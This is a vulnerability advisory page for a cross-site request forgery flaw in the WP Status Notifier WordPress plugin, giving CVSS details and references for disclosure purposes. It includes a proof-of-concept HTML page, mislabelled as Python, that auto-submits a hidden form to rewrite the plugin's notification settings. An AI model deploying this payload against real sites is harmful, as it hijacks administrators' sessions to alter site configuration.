CVE-2025-13521

Description

The WP Status Notifier plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to update the plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Status Notifier <= 1.0（所有版本均受影响）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>Status Update</title> </head> <body> <h1>Please wait...</h1> <form action="http://target-wordpress-site/wp-admin/admin.php?page=wp-status-notifier-settings" method="POST" id="csrfForm">  <input type="hidden" name="wsn_settings[notification_email]" value="[email protected]"> <input type="hidden" name="wsn_settings[enable_notifications]" value="1"> <input type="hidden" name="wsn_settings[status_threshold]" value="999"> <input type="hidden" name="action" value="update"> <input type="hidden" name="option_page" value="wsn_settings"> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13521
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13521
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13521/
[4] VulDB https://vuldb.com/cve/CVE-2025-13521
[5] https://plugins.trac.wordpress.org/browser/wp-change-status-notifier/tags/1.0/options-page.php#L2
[6] https://plugins.trac.wordpress.org/browser/wp-change-status-notifier/trunk/options-page.php#L2
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/fbffc404-9ea9-4025-8241-2c374b760ca3?source=cve

Raw JSON Data

JSON

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